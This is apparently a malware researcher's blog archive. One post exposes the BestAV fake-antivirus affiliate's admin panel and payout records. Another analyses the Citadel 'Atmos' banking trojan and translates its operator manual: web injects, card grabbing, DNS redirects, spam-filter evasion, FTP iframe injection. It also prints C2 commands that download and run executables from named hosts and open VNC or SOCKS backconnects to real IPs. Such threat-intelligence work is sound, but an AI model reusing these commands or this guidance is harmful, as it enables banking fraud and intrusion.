XyliBox

BestAV (Fake Antispyware affiliate) exposed

noreply@blogger.com (Steven K) — Sat, 13 Sep 2025 15:26:00 +0000

Hello everyone, it's been a while.

One of the first affiliate systems I ever infiltrated was BestAV, back in 2011, the same year I started XyliBox.

Over the years i infiltrated most of the major FakeAV affiliate programs and BestAV was the biggest player in this scene.
It was also the one i kept coming back to, a bit like me vs darkode :)
It became something of a coup de cœur for me, even if that term doesn’t quite translate outside of French.

Eventually i watched it fall, not from law enforcement, but simply because more lucrative threats arrived like ransomware and cryptolockers, they kinda made fakeAVs irrelevant.
Although BestAV launched a ransomware affiliate later and put lot of efforts into it, they didn't survive.

I also never really gave this blog a proper farewell.
Like most things from that era, it just… slowed down.
There’s still a pile of never-published stories and drafts sitting in my backend; hacked panels, and half-finished notes, strange old artifacts from a time where everything was fast, broken, and fascinating.

BestAV feels like the right way to close this circle.
It was the beginning, the obsession, and the last of its kind.
So this post is both a final deep dive and the official end of XyliBox.

Before we dive in, a bit of context for those who weren’t there or just want to refresh their memory about BestAV.

The first time I looked into a FakeAV affiliate and also the first time i heard of the BestAV program was in 2011, and it all started with a tweet that led to my first write-up: Tracking Cyber Crime: Inside FakeAV (June 2011)

From there, i kept watching them from the shadows, sometimes giving them hints on the fact that i had still access to their system, just in case they were reading (and I was pretty sure they were): Personal Shield Pro (July 2011)

I went back again into BestAV, where the real obsession began: Tracking Cyber Crime: BestAV and BlackSoftware (August 2011)

In 2012, I even infiltrated an affiliate who was built based on BestAV backend: Star-stat.com Reseller (February 2012)

A bit later i also wrote a small guide on how to infiltrate affiliate programs, not just FakeAV anymore, but any affiliate system. Of course, I used BestAV as example: How to Infiltrate Affiliate Programs (June 2012)

I stayed hidden in this affiliate for a long time, monitoring their activity, quietly collecting samples, and following their moves.
Along the way, I teamed up with Siri, Kafeine, Antelox, and many other friends I met on the path, working together to excavate their exploit kits, samples, and test setups.
We see them evolve, and even launching a ransomware affiliate (Urausy).
Sometimes we pulled datas at scale, like in 2013 when we massively burnt their crypt system by dumping lustrami.com infrastructure on VXVault, this one was tied to BestAV.

And finally, we’re in 2014, the fall of fake antivirus had already begun.
So what can we say about BestAV at this point?
Their affiliate system was already in bad shape, plagued by frequent downtime and a clear loss of momentum.
Keys players stopped working with them, we could feel the collapse coming.

So instead of looking at it "again" from an affiliate level, let's switch perspective to the administrator side.
It’s been over 10 years, so i guess i can finally say it: We pwned them!

The intelligence was of course shared at that time with some agencies who were interested, mostly because of the key players involved in participating on BestAV.
I never made that public on the blog the operation was too tight back in time to just drop a "good day, you’re pwned!" or similar like i used to do on my posts.
Not due to the BestAV admins reading this blog, but because of all the affiliates being monitored in some way.

So I hope you'll enjoy these screenshots it’s one last chance to document the inside operation before their ultimate take-down the same year.
I think it's also the first time that a FakeAV affiliate program will be documented this way.

Home:

Edit article:

Statistic Soft 1:

Soft 2:

Soft 3:

News:

Agreements:

Users:

Details for users:

'Support' account:

Action log, detail for the partner 'Severa':

Payements detail for the partner 'Severa':

13077.52 $

Edit user infos for the partner 'Severa':

FakeAV to distribute:

Role of Severa inside BestAV:

Tickets made by Severa (none):

Mass payements:

Full list for mass payement:

ID    Name    List created    Date    Payed    Total money    Subject

136    Payment till 2014-03-02    2014-03-02 14:15    2014-03-02  46995.00 $    soft1

135    Payment till 2013-10-07-s2    2013-10-07 11:43    2013-10-07  12030.36 $    soft2

134    Payment till 2013-10-07    2013-10-07 11:43    2013-10-07  25580.00 $    soft1

133    Payment till 2013-08-29-s1    2013-08-29 04:21    2013-08-29  25145.00 $    soft1

132    Payment till 2013-08-29    2013-08-29 04:20    2013-08-29  13492.62 $    soft2

131    Payment till 2013-08-24-s2    2013-08-24 09:10    2013-08-24  41466.03 $    soft2

130    Payment till 2013-08-24    2013-08-24 09:10    2013-08-24  1425.00 $    soft1

129    Payment till 2013-08-06-s2    2013-08-06 18:00    2013-08-06  22527.60 $    soft2

128    Payment till 2013-08-06-s1    2013-08-06 18:00    2013-08-06  20068.00 $    soft1

126    Payment till 2013-07-30    2013-07-30 18:43    2013-07-30  7645.00 $    soft1

127    Payment till 2013-07-30-s2    2013-07-30 18:43    2013-07-30  15429.69 $    soft2

125    Payment till 2013-07-24-s2    2013-07-24 14:25    2013-07-24  2886.27 $    soft2

124    Payment till 2013-07-24    2013-07-24 14:25    2013-07-24  10250.00 $    soft1

123    Payment till 2013-07-22-s2    2013-07-22 20:59    2013-07-22  23516.16 $    soft2

122    Payment till 2013-07-22    2013-07-22 20:58    2013-07-22  1074.98 $    soft1

121    Payment till 2013-07-16-s2    2013-07-16 18:53    2013-07-16  39988.23 $    soft2

120    Payment till 2013-07-16    2013-07-16 18:53    2013-07-16  4860.00 $    soft1

118    Payment till 2013-07-10-s1    2013-07-10 19:19    2013-07-10  9980.00 $    soft1

119    Payment till 2013-07-10-s2    2013-07-10 19:19    2013-07-10  11510.35 $    soft2

117    Payment till 2013-07-08-s3    2013-07-08 21:44    2013-07-08  34.77 $    soft3

116    Payment till 2013-07-08-s2    2013-07-08 21:44    2013-07-08  29119.00 $    soft2

115    Payment till 2013-07-08    2013-07-08 21:44    2013-07-08  22120.00 $    soft1

114    Payment till 2013-07-01-s2    2013-07-01 20:05    2013-07-01  38150.70 $    soft2

113    Payment till 2013-07-01    2013-07-01 20:05    2013-07-01  725.00 $    soft1

112    Payment till 2013-06-18-s2    2013-06-18 20:04    2013-06-18  1463.64 $    soft2

111    Payment till 2013-06-18-s1    2013-06-18 20:04    2013-06-18  16450.00 $    soft1

108    Payment till 2013-06-11    2013-06-11 17:50    2013-06-11  1935.00 $    soft1

109    Payment till 2013-06-11-s2    2013-06-11 17:50    2013-06-11  51693.56 $    soft2

110    Payment till 2013-06-11-s3    2013-06-11 17:51    2013-06-11  200.78 $    soft3

107    Payment till 2013-06-08-s1    2013-06-08 07:25    2013-06-08  14940.00 $    soft1

106    Payment till 2013-06-08-s2    2013-06-08 07:25    2013-06-08  291.55 $    soft2

105    Payment till 2013-06-01-s2    2013-06-01 21:06    2013-06-01  30226.79 $    soft2

104    Payment till 2013-06-01    2013-06-01 21:06    2013-06-01  13170.00 $    soft1

102    Payment till 2013-05-27-s1    2013-05-27 20:50    2013-05-27  905.00 $    soft1

103    Payment till 2013-05-27-s2    2013-05-27 20:50    2013-05-27  31070.58 $    soft2

101    Payment till 2013-05-22-s3    2013-05-22 11:08    2013-05-22  36.08 $    soft3

100    Payment till 2013-05-22-s2    2013-05-22 11:08    2013-05-22  9115.38 $    soft2

99    Payment till 2013-05-22    2013-05-22 11:08    2013-05-22  4600.00 $    soft1

98    Payment till 2013-05-20-s3    2013-05-20 12:01    2013-05-20  4.85 $    soft3

97    Payment till 2013-05-20-s2    2013-05-20 12:01    2013-05-20  17522.47 $    soft2

96    Payment till 2013-05-20    2013-05-20 12:01    2013-05-20  23605.00 $    soft1

93    Payment till 2013-05-14-s1    2013-05-14 09:31    2013-05-14  8145.00 $    soft1

94    Payment till 2013-05-14-s2    2013-05-14 09:31    2013-05-14  37932.57 $    soft2

95    Payment till 2013-05-14-s3    2013-05-14 09:31    2013-05-14  147.23 $    soft3

92    Payment till 2013-05-12-s3    2013-05-12 20:10    2013-05-12  45.94 $    soft3

91    Payment till 2013-05-12-s2    2013-05-12 20:10    2013-05-12  7742.64 $    soft2

90    Payment till 2013-05-12-s1    2013-05-12 20:10    2013-05-12  18495.00 $    soft1

89    Payment till 2013-05-09-s2    2013-05-09 18:05    2013-05-09  15787.84 $    soft2

88    Payment till 2013-05-09    2013-05-09 18:05    2013-05-09  1525.00 $    soft1

87    Payment till 2013-05-06-s2    2013-05-06 12:36    2013-05-06  41202.71 $    soft2

86    Payment till 2013-05-06    2013-05-06 12:36    2013-05-06  1000.00 $    soft1

85    Payment till 2013-05-03-s2    2013-05-03 20:16    2013-05-03  15549.01 $    soft2

84    Payment till 2013-05-03    2013-05-03 20:15    2013-05-03  10260.00 $    soft1

83    Payment till 2013-04-26-s3    2013-04-26 10:22    2013-04-26  19.98 $    soft3

82    Payment till 2013-04-26-s2    2013-04-26 10:21    2013-04-26  302.14 $    soft2

81    Payment till 2013-04-26-s1    2013-04-26 10:21    2013-04-26  26370.00 $    soft1

78    Payment till 2013-04-22    2013-04-22 16:30    2013-04-22  1650.00 $    soft1

79    Payment till 2013-04-22-s2    2013-04-22 16:30    2013-04-22  51337.47 $    soft2

80    Payment till 2013-04-22-s3    2013-04-22 16:30    2013-04-22  50.26 $    soft3

77    Payment till 2013-04-19-s3    2013-04-19 11:42    2013-04-19  312.18 $    soft3

76    Payment till 2013-04-19-s2    2013-04-19 11:42    2013-04-19  9142.67 $    soft2

75    Payment till 2013-04-19-s1    2013-04-19 11:41    2013-04-19  40610.00 $    soft1

74    Payment till 2013-04-12-s1    2013-04-12 12:52    2013-04-12  13810.00 $    soft1

73    Payment till 2013-04-12    2013-04-12 12:52    2013-04-12  9717.46 $    soft2

72    Payment till 2013-04-10    2013-04-10 19:18    2013-04-10  22673.76 $    soft2

71    Payment till 2013-04-08-s1    2013-04-08 14:57    2013-04-08  11020.00 $    soft1

70    Payment till 2013-04-08-s2    2013-04-08 14:56    2013-04-08  40822.98 $    soft2

69    Payment till 2013-03-27    2013-03-27 03:51    2013-03-27  1819.36 $    soft3

68    Payment till 2013-03-22    2013-03-22 14:02    2013-03-22  0.12 $    soft3

67    Payment till 2013-03-09-s2    2013-03-09 18:35    2013-03-09  18825.00 $    soft1

66    Payment till 2013-03-09    2013-03-09 18:34    2013-03-09  2749.03 $    soft2

65    Payment till 2013-03-06    2013-03-06 15:30    2013-03-06  72766.77 $    soft2

64    Payment till 2013-02-17-s2    2013-02-17 17:59    2013-02-17  8707.66 $    soft2

63    Payment till 2013-02-17-s1    2013-02-17 17:59    2013-02-17  11145.00 $    soft1

62    Payment till 2013-02-14-s1    2013-02-14 18:49    2013-02-14  11580.00 $    soft1

61    Payment till 2013-02-14    2013-02-14 18:45    2013-02-14  33485.69 $    soft2

60    Payment till 2013-02-13    2013-02-13 15:51    2013-02-13  540.00 $    soft1

59    Payment till 2013-02-12    2013-02-12 19:42    2013-02-12  8087.24 $    soft2

58    Payment till 2013-02-11-dw    2013-02-11 17:13    2013-02-11  475.00 $    soft1

57    Payment till 2013-02-11    2013-02-11 09:39    2013-02-11  2040.00 $    soft1

56    Payment till 2013-02-10    2013-02-10 19:53    2013-02-10  694.00 $    soft2

54    Payment till 2013-02-09-peek    2013-02-09 18:27    2013-02-09  1566.83 $    soft2

55    Payment till 2013-02-09    2013-02-09 21:44    2013-02-09  11760.00 $    soft1

53    Payment till 2013-02-08-123321    2013-02-08 21:06    2013-02-08  2369.42 $    soft2

52    Payment till 2013-02-08-dun    2013-02-08 21:05    2013-02-08  256.30 $    soft2

51    Payment till 2013-02-08    2013-02-08 13:23    2013-02-08  52957.66 $    soft2

50    Payment till 2013-02-06    2013-02-06 12:55    2013-02-06  7087.86 $    soft2

49    Payment till 2013-02-05-bobo    2013-02-05 16:18    2013-02-05  5000.00 $    soft2

48    Payment till 2013-02-05    2013-02-05 08:25    2013-02-05  21466.66 $    soft2

47    Payment till 2013-02-01    2013-02-01 17:17    2013-02-01  5777.70 $    soft2

46    Payment till 2013-01-28    2013-01-29 18:23    2013-01-28  23743.88 $    soft2

44    Payment till 2013-01-24    2013-01-24 17:55    2013-01-24  83145.00 $    soft1

45    Payment till 2013-01-24-s2    2013-01-24 21:32    2013-01-24  26272.27 $    soft2

42    Payment till 2013-01-22    2013-01-22 07:59    2013-01-22  24400.00 $    soft1

41    Payment till 2013-01-12    2013-01-12 17:46    2013-01-12  20200.00 $    soft1

39    Payment till 2012-12-25    2012-12-25 13:36    2012-12-25  5515.00 $    soft1

38    Payment till 2012-12-18    2012-12-18 21:31    2012-12-18  13905.00 $    soft1

37    Payment till 2012-12-11    2012-12-11 19:47    2012-12-11  46435.00 $    soft1

36    Payment till 2012-12-05    2012-12-05 07:38    2012-12-05  27045.00 $    soft1

35    Payment till 2012-11-20    2012-11-20 10:37    2012-11-20  27320.00 $    soft1

34    Payment till 2012-11-16    2012-11-16 11:13    2012-11-16  17440.00 $    soft1

33    Payment till 2012-11-12    2012-11-12 18:15    2012-11-12  7705.00 $    soft1

32    Payment till 2012-11-11    2012-11-11 16:03    2012-11-11  2450.00 $    soft1

31    Payment till 2012-11-09    2012-11-09 14:44    2012-11-09  37095.00 $    soft1

30    Payment till 2012-11-07    2012-11-07 16:19    2012-11-07  6170.00 $    soft1

29    Payment till 2012-10-16    2012-10-16 17:12    2012-10-16  18435.00 $    soft1

28    Payment till 2012-09-26    2012-09-26 09:23    2012-09-26  40610.00 $    soft1

27    Payment till 2012-08-14    2012-08-14 18:41    2012-08-14  24150.00 $    soft1

26    Payment till 2012-08-09    2012-08-09 19:10    2012-08-09  19760.00 $    soft1

25    Payment till 2012-08-02    2012-08-02 08:30    2012-08-02  24890.00 $    soft1

24    Payment till 2012-07-27    2012-07-27 18:31    2012-07-27  24677.00 $    soft1

23    Payment till 2012-07-23    2012-07-23 15:38    2012-07-23  29102.00 $    soft1

22    Payment till 2012-07-18    2012-07-18 15:41    2012-07-18  11528.00 $    soft1

21    Payment till 2012-07-17    2012-07-17 00:26    2012-07-17  25035.00 $    soft1

20    Payment till 2012-07-12    2012-07-12 19:11    2012-07-12  4600.00 $    soft1

19    Payment till 2012-07-10    2012-07-10 15:32    2012-07-10  5940.00 $    soft1

18    Payment till 2012-07-05    2012-07-05 13:39    2012-07-05  4435.00 $    soft1

17    Payment till 2012-07-01    2012-07-01 13:25    2012-07-01  835.00 $    soft1

16    Payment till 2012-06-27    2012-06-27 17:13    2012-06-27  9905.00 $    soft1

14    Payment till 2012-06-19    2012-06-19 16:47    2012-06-19  3570.00 $    soft1

15    Payment till 2012-06-19-2    2012-06-21 20:53    2012-06-19  17350.00 $    soft1

13    Payment till 2012-06-06    2012-06-06 18:34    2012-06-06  3365.00 $    soft1

12    Payment till 2012-05-25    2012-05-25 12:06    2012-05-25  4480.00 $    soft1

11    Payment till 2012-05-18    2012-05-18 22:35    2012-05-18  9725.00 $    soft1

10    Payment till 2012-05-10    2012-05-10 21:04    2012-05-10  8575.00 $    soft1

9    Payment till 2012-04-26    2012-05-03 14:46    2012-04-26  3980.00 $    soft1

8    Payment till 2012-04-19    2012-04-26 09:55    2012-04-19  9210.00 $    soft1

7    Payment till 2012-04-12    2012-04-20 19:56    2012-04-12  8875.00 $    soft1

5    Payment till 2012-04-02    2012-04-02 13:48    2012-04-02  12800.00 $    soft1

4    Payment till 2012-03-26    2012-03-26 19:32    2012-03-26  2755.00 $    soft1

2    Payment till 2012-03-16    2012-03-16 20:34    2012-03-16  2212.25 $    soft1

1    Payment till 2012-03-12    2012-03-12 14:19    2012-03-12  4753.17 $    soft1

The numbers are kinda crazy, so let's breakdown that in charts.

If we total everything up and regroup by year, we get:

2012: $526632.42 → $526.63K
2013: $1440845.73 → $1.44M
2014: $46995.00 → $46.99K

Here are the total payments per software type across all years:

soft1: $1,095,100.40 → $1.10M
soft2: $916,701.20 → $916.70K
soft3: $2,671.55 → $2.67K

The most 'busy' year is 2013:

soft2: $916,701.20 → $916.70K
soft1: $521,472.98 → $521.47K
soft3: $2,671.55 → $2.67K

A lot of money was distributed among affiliates.

Mass payement for 2014 to do:

Edit texts:

Home page text edit:

Private AV scanner config (chk4me.com connection):

Allowed IPs:

Tickets:

BestAV later changed their urls to farotexsoft.com, webalizer was leaking informations:

Interesting referrers:

Prime affiliate who are in relation with the group behind BestAV:

BestAV old affiliate Exploit kit:

EK test:

Exploit Kit in action:
https://odysee.com/@XyliboxFranceVXCVE:3/sibhost-exploit-kit:e

BestAV was doing nothing since the end of 2013 and got back to work in end of jully 2014:

19:42 29.07.2014 Перезагрузка. Reload. 3 2 1, Go go go!
Colleagues, we’ve restarted our services and looking forward to work!
---
15:53 27.03.2014 инсталлы починили
Installs are fixed now. Everything is fixed.
---
10:02 27.03.2014 Installs Update 2.
Setting up new callback server. Promised to be ready by tonight. Once more – payforms and sales are going through, there is no problem there
---
05:33 27.03.2014 Инсталлы
Callback proxy is broken. Fixing.
Payforms are working, sales are going through.
No reason to be worried.
---
21:02 04.03.2014 Payments.
Hello everyone, about the payments.
The situation is the next.. to unfreeze merchants I need 30-40 AV sales a day..
not so much, right? But due to some adverts stopped working after the New Year and some others experienced some problems and also stopped working there is almost no sales happening.
Huge regards to all the webmasters who support me in this difficult time!
I’m trying to bring the sales to the required level (buying traffic, etc.).
If my calculations are correct and no other surprises I’ll be at the required level next week and start pushing payments through, but would like to give you a warning in advance that the first ones to receive the payments will be the webmasters who have most of the sales – thanks to them we’re still operating.

The last RAW sample we saw before the final shutdown of the program: https://www.virustotal.com/en/file/988c4604de2aec510c2d3242895b24c988bb115069c3834d47552fe7c2b86370/analysis/

Voilà, so long, and thanks for all the fish !

This blog will be kept online (but inactive) for the numerous records about the malware scene of 2010-2016 era.
Thank you everyone and see you in night city.

--
Xyl

Citadel 0.0.1.1 (Atmos)

noreply@blogger.com (Steven K) — Fri, 19 Feb 2016 13:26:00 +0000

Guys of JPCERT, 有難う御座います！
Released an update to their Citadel decrypter to make it compatible with 0.0.1.1 sample.

Citadel 0.0.1.1 don't have a lot of documentation, so time as come to talk about it.
Personally i know this malware under the name 'Atmos' (be ready for name war in 3,2,1...)

The first sample i was aware is the one spotted by tilldenis here in jully 2015.

I re-observed this campaign in november 2015 with the same 'usca'.
You can find a technical description of the product here: http://pastebin.com/raw/cAqbrqAS

Here is a small part translated to English related to configuration and commands:

3. Configuration

url_config1-10 [up to 10 links to configuration files; 1 main for your web admin panel and 9 spare ones. To save the resources, use InterGate button in the builder to place config files on different links without setting up admin panel. Spare configs will be requested if the main one is not available during first EXE launch. Don't forget to put EXE and config files in 'files/' folder]

timer_config 4 9 [Config file refresh timer in minutes | Retry interval]

timer_logs 3 6 [Logs upload timer in minutes | Retry in _ minutes]

timer_stats 4 8 [New command receiving and statistics upload timer in minutes | Retry in _ minutes]

timer_modules 4 9 [Additional configuration files receiving timer | Retry in _ minutes. Recommending to use the same setting as in timer_config]

timer_autoupdate 8 [EXE file renewal timer in hours]

insidevm_enable 0/1 [Enable execution in virtual machine: 1 - yes | 0 - no]

disable_antivirus 0/1 [1 - Disable built-in 'AntiVirus' that allows to delete previous version of Zeus/Citadel/Citra after EXE lauch |  0 - leave enabled(recommended)]

disable_httpgrabber 0/1 [1 - Disable http:// mask grabber in IE | 0 - Enable http:// mask grabber in IE]

enable_luhn10_get 0/1 [Enable CC grabber in GET-requests http/https]

remove_certs 0/1 [Enable certificate deletion in IE storage]

report_software 0/1 [1 - Enable stats collection for Installed Software, Firewall version, Antivirus version | 0 - Disable]

disable_tcpserver 0/1 [1 - Enable opening SOCKS5 port (not Backconnect!) | 0 - Disable]

enable_luhn10_post 0/1 [Enable CC grabber in POST-requests http/https]

disable_cookies 0/1 [1- Disable IE/FF cookies-storage upload | 0 - Enable | use_module_ffcookie - duplicates the same]

file_webinjects "injects.txt" [File containing injects. Installed right after successful config files installation. Renewal timer is set in timer_config]

url_webinjects "localhost/file.php" [Path to 'file.php' file. Feature of 'Web-Injects' section for remote instant inject loading]

AdvancedConfigs [Links to backup configuration files. Works if !bot is already installed on the system! and first url_config is no longer accessible]

entry "WebFilters" [Set of different filters for URLs: video(# character), screenshot(single @ character - screenshot sequence after a click in the active zone. double @ character '@@' - Full size screenshot), ignore (! character), POST requests logging (P character), GET request logging (G character)]

entry HttpVipUrls [URL blacklist. By default the follwing masks are NOT written to the logs "facebook*" "*twitter*",  "*google*". Adding individual lines with these masks will enable logging for them again]

entry "DnsFilters" [System level DNS redirect, mask example - *bankofamerica.com*=159.45.66.100. Now when going to bankofamerica.com - wellsfargo.com will be displayed. Not recommending blocking AV sites to avoid triggering pro-active defenses]

entry "CmdList" [List of system commands after launch and uploading them to the server]

entry "Keylogger" [List of process names for KeyLogger. Time parameter defines the time to work in hours after the process initialization]

entry "Video" [Video recording settings | x_scale/y_scale - video resolution | fps - frame per second, 1 to 5 |  kbs - frame refresh rate, 5 to 60 | cpu 0-16 CPU loading | time - time to record in seconds | quality 0-100 - picture quality]

entry "Videologger" - [processes "" - list of processes to trigger video recording. Possible to use masks, for example calc.exe or *calc*]

entry "MoneyParser" [Balance grabber settings | include "account,bank,balance" - enable balance parsing if https:// page contains one of the following key words. | exclude "casino,poker,game" - do NOT perform parsing if one of the following words is found]

entry "FileSearch" [File search by given mask. The report will be stored in 'File Hunter' folder. Keywords can be a list of files or patterns ** to for on the disk. For example, multibit.exe will search for exact match on filename.fileextension, *multibit* will report on anything found matching this pattern. | excludes_name - exclude filenames/fileextensions from search. excludes_path - exclude system directories macros, like, Windows/Program Files, etc | minimum_year - file creation/change date offset. The search task is always on. Remove all the parameters from this section to disable it.]

entry "NetScan" [hostname "host-to-scan.com" - list of local/remote IP addresses to scan. scantype "0" - sets the IP address range, for example, scantype "0" scans a single IP in the 'hostname', scantype "1" creates a full scan of class C network 10.10.10.0-255, scantype "2" creates a full scan of class B network 10.10.0-255.0-255]

Example 1 {hostname "10.10.0-255.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "2"}

Example 2 {hostname "10.10.1.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "1"}]

entry "WebMagic" [Local WebProxySrv, web server with its own storage. Allows to read and write bot parameters directly, for example, when using injects. This saves time and resources since it doesn't generate additional remote requests for different scripts that are generally detected by banks anti-tampering controls. It also allows to bypass browser checking when requesting https:// resource hosted remotely and to create backconnect connection. Full settings description is located in F.A.Q section]

4. Commands

user_execute <url> [execute given file]

user_execute <url> -f [execute given file, manual bot update that overwrites the current version]

user_cookies_get [Get IE cookies]

user_cookies_remove [Remove IE cookies]

user_certs_get [Get .p12 certificates. Password: pass]

user_certs_remove [Remove certificates]

user_homepage_set <url> [Set browser home page]

user_flashplayer_get [Get user's .sol files]

user_flashplayer_remove [Remove user's .sol files]

url_open <url> [open given URL in a browser]

dns_filter_add <hostname> <ip> [Add domain name for redirect(blocking) *bankofamerica.com* 127.0.0.1]

dns_filter_remove <url> [Remove domain name from redirect(blocking)]

user_destroy [Corrupt system vital files and reboot the system. Requires elevated privileges]

user_logoff [Logoff currently logged in user]

os_reboot [Reboot the host]

os_shutdown [Shutdown the host]

bot_uninstall [Remove bot file and uninstall it]

bot_update <url> [Update bot configuration file. Requires to use the same the crypt. The path is set in url_config]

bot_bc_add socks <ip> <port> [Connect Bot > Backconnect Server > Socks5 | Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for Proxifier/Browser...]

bot_bc_add vnc <ip> <port> [Connect Bot > Backconnect Server > VNC Remote Display |  Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for UltraVNC client]

bot_bc_add cmd <ip> <port> [Connect Bot > Backconnect Server > Remote Shell | Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for telnet/putty client ]

bot_bc_remove <service> <ip> <port> [Disconnect from the bot and hide connections from 'netstat' output]

close_browsers [close all browser processes]

And one part related to some new features:

Q: How does Mailer works?

A: This feature allows you to create mass-email campaigns using standard PHP tools.

For this feature to work correctly you need to download the script [Download Script] and put it in www-root directory on one of the hosts that will be used to perform the mass-email campaign - make sure you turn off the following in php.ini; magic_quotes_gpc = Off and safe_mode = Off

After that press [ Config ] and fill in [Master E-Mail (for checkup) parameters: "name ; email" Your email for checking] and Mailer-script URL: http://www.host.com/mailer.php

It's possible to create a campaign using a email address list collected by a Bot using "For BotID" button or a new list name;email

Macros are supported in в Subject/Body/Attach.

{name} - Receiver name | {email} - Receiver E-mail | {random} - random chars | {rand0m} - random long number

Recommendation: To avoid being blocked by spam-filters use macro name@{hostname} in Sender ("email" or "name ; email") field - in this case the real domain name of the sending host will be used and your emails will not end up in Spam folder.

Q: How to work with File Hunter feature?

A: This feature allows you to work with files on the bot: get list of files matching the parameters specified under config entry "FileSearch", track files updates, autoupload files and replace files on the bot.

Custom Download - allows you to download any file from a bot by BotID, taken that a full path to the file is known. This will work even if the file is not specified under "FileSearch" config entry.

Auto download - uploads files with a given mask without a need to specify BotID. Bot will execute the upload as soon as search conditions are given and the file found. This will work even if the file is not specified under "FileSearch" config entry.

Be careful using File Hunter to modify any files on the bot. It's main purpose is to grab *coin files(multibit.dat/litecoin.dat...) 

Use mouse right-click to access context menu for file list.

Q: Short manual for FTP Iframer

A: As in the case with 'Mailer', For this feature to work correctly you need to download the iframer script [Download Script] and put it in www-root directory on one of the hosts that will be used to perform the mass-email campaign - make sure you turn off the following in php.ini; magic_quotes_gpc = Off and safe_mode = Off

Next, create configuration options by pressing on [ Конфигурация ]

Specify the script URL in URL field

Working mode: Just checking [ Will check the validity of FTP accounts found in the logs ]

Inject: [Mode: "ON"]

Inject method: Smart/Add/Overwrite [ Smart - will re-add the inject in case if it was detected and deleted. / Add - iframe code will be added to the end of the file before </body></html>]

Lookup depth: [ File search level on ftp-host. For example, in the following structure FTP Connection > public_html(1) > images(2) > gif(3)....]

Next, perform 'Accounts search' and 'Run tasks'. The statistics and results will be available after a few minutes. The script will be working in cron-mode after the first execution, so there is no need to keep the page opened.

Q: Main functions and methods of "Neuromodel"

A: Neuromodel allows you to perform complex analysis of your botnet: identifying best bots, upload success rates. You can build a research matrix that includes list of bots and evaluate them against specified criteria;  the result will be calculating a score to each bot.

Each research matrix can contain a number of evaluation criteria. For example, you need to search the logs for the following data: Bank Acc + CC or Bank Acc + ISP E-mail 

Create profile first and then plan the task based on required criteria.

Task - "Find bots that logged into http://www.bankofamerica.com id=* in the last 30 days and where McAfee is installed. Assign X score if the search criteria match"

Creating criteria:

1) { name: BOA LOGIN | criteria: HTTP data POST | URL masks: htt*://www.bankofamerica.com/* | POST data masks: id=* | days limit: 30 | score: 1 | static method, trigger condition: No < 1 }

2) { name: AVCheck | criteria: installed software | software name mask: McAfee* | days limit: 30 | score: 1 trigger condition: No < 1 }

Static method is used to summarize the results.

* **No**: simple summary. Each successful criteria match adds specified score to the bot. More matches = bigger the score.

Example 1: if it found 180 reports matching the criteria and the score is 2 then the final score will be '180*2'

Example 2: if 'Login to bankofamerica' criteria  is set to ">=" "3" on average a day then the score will be added only for the last days specified in 'Days' parameter.

Detailed: if in the last days specified in 'Days' parameter the 'Login to bankofamerica' criteria was matched more than 3 times on average then the bots reported will be given the score points.

* **Sum** Summary of produced reports

Score 'Points' will be added if the amount of reports satisfying the search criteria complies with trigger condition. 

For example, if we have `reports_count=180` and `Points=2` and trigger condition is `>= 180` then the score is +2.

* **Days**: active days summary: days containing the reports.

Score will be added if the amount of reports satisfying the search criteria complies with trigger condition.

For example, if we have reports from day before yesterday, yesterday and today and trigger condition is set to `>= 3` then the scores will be added.

* **Avg/Day**: Average/Day: average number of reports in the last 24 hours

* **Avg/Week**: Average/Week: average number of reports per week

* **Days/Week**: average number of active days per week

Another example, search for inactive accounts:

"Find the bots regardless of their scores that logged into USBank in the last 21 days no more than 3 times - no filters or criteria are applied"

1) { URL = https://onlinebanking.usbank.com/Auth/Login/Login* | HTTP URL visit| days limit = 21 | Login no more than 3 times: e.g. login <=3. Meaning, if found <=3 reports for this criteria — add 1 to the score. | SUM() <=3 , 1 score }

Full criteria list is below:

Condition using date/time of the first report received from the bot.

Condition using date/time of the last report received from the bot.

Condition using average online time of the bot per week or per hour.

Condition using a type of the report or it's content

>Presence/Lack of LUHN10(CC)

>Presence/Lack of ISP email address (pop3 or web-link)

>Presence/Lack of FTP accounts

>Search by key words

Condition using "Installed Software" reports, allows you to check for a particular software installed on the bot.

Condition using "CMD" reports, allows to use particular keywords.

Condition using visited one or many particular URLs

Condition using POST variables.

Minus some absolute nonsense in the description of AVG/Day, AVG/week and days/weeks
The author is a fecking lunatic trying to explain things that only he understand :)
Thanks to Malwageddon for the translation help.

Now.. take a free tour in the infrastructure.

Login:

Dashboard:

RU and UA flags, united forever :)

exe configuration:

Operating system:

Software:

Firewall:

AV:

Search:

Bots:

Legend:

Full information:

WebInject:

Reported errors:

New group:

Edit a webinject:

Webinjects for the group 'Canada':

US:

Edit a webinject:

Script:

Script edit:

Some scripts sample:

tokenspy_update tokenspy-config.json

hvnc_start 176.9.174.237 29223

bot_bc_add vnc

bot_bc_add socks 176.9.174.237 37698

user_execute http://iguana58.ru/plugins/system/anticopy/ammy.exe

transfer

user_destroy

user_execute http://iguana58.ru/plugins/system/anticopy/adobe.exe

user_ftpclients_get

user_execute htxp://iguana58.ru/plugins/system/anticopy/adobe.exe

user_execute htxp://mareikes.com/wp-includes/pomo/svhost.exe -f

user_execute htxp://mareikes.com/wp-includes/pomo/server.exe

user_execute htxp://mareikes.com/wp-includes/pomo/ammy.exe

user_execute http://tehnoart.co/sr.exe -f

user_execute http://3dmaxkursum.net/tmp/sys/config.exe

user_execute http://coasttransit.com/wp-content/gallery/gulfport-transit-center/thumbs/htasees.exe

• dns: 1 ›› ip: 185.4.73.33 - adress: IGUANA58.RU
• dns: 1 ›› ip: 176.9.24.49 - adress: MAREIKES.COM
• dns: 1 ›› ip: 107.180.26.93 - adress: TEHNOART.CO
• dns: 1 ›› ip: 94.73.144.210 - adress: 3DMAXKURSUM.NET
• dns: 1 ›› ip: 184.168.47.225 - adress: COASTTRANSIT.COM

Socks:

VNC:

Example of infected endpoints:

Config:

Backconnect logs:

Files:

SHA1: 9EA4041C41C3448E5A9D00EEA9DACB9E11EBA6C0

bcservice.ini:

[bcservice]

client_starting_port=200

bots_port=30

reboot_every_m=10

Trashed binnaries:

SHA1: 987B468DB8AA400171E5365E89C3120F13F728EE

Atmos builder:

SHA1: D3F992DCDBB0DF54C4A383163172F69A1CA967AE

